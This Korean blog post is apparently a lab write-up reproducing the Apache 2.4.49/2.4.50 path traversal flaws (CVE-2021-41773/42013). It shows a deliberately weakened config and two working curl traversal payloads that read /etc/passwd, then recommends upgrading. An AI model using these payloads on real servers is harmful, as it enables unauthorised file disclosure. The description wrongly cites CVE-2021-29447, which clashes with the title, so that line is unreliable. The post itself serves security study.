정보보안공부

[CVE-2021-41773/CVE-2021-42013] Apache HTTP Server - Path Traversal & Remote Code Execution (RCE) 본문

CVE

[CVE-2021-41773/CVE-2021-42013] Apache HTTP Server - Path Traversal & Remote Code Execution (RCE)

Steady_sp 2022. 3. 8. 10:14

■ 실습 환경

1) 취약서버 - 192.168.164.150:9983 (docker) httpd:2.4.49 / httpd:2.4.50

 

■ 취약점 설명

CVE-2021-29447 : 상위경로 문자를 판단하는 정규화 로직에서 결함이 발견되어 인코딩된 상위 경로 문자를 사용할 경우 서버 정보 획득이 가능함

※ Apache HTTP Server 2.4.49 , 2.4.50 버전에서 발생

 

■ Exploit 

1. docker를 이용한 httpd 환경 구현

※ docker pull httpd:2.4.49

※ docker pull httpd:2.4.50

 

2. 설정파일 내 공격이 실행 가능하도록 취약하게 설정

#> vi /usr/local/apache2/conf/httpd.conf

해당 설정에서 granted가 아닌 디폴트 값인 denied 일 경우 취약하지 않음

( 취약한 설정은 granted 설정 )

 

3. 공격 실행

  • Apache HTTP Server 2.4.49 환경
#> curl http://192.168.164.150:9983/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

→ 2.4.49 버전에서 해당 방식으로 취약점이 발견되어 2.4.50에서 조치되었으나 아래와 같은 구문으로 우회가 가능함

 

 

  • Apache HTTP Server 2.4.50 환경
#> curl http://192.168.164.150:9983/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

→ 2.4.50 버전에서 더블 인코딩 방식으로 취약점이 발견되었음

 

 

■ 대응방안

1. Apache HTTP Server 2.4.51 이상 버전 사용

Comments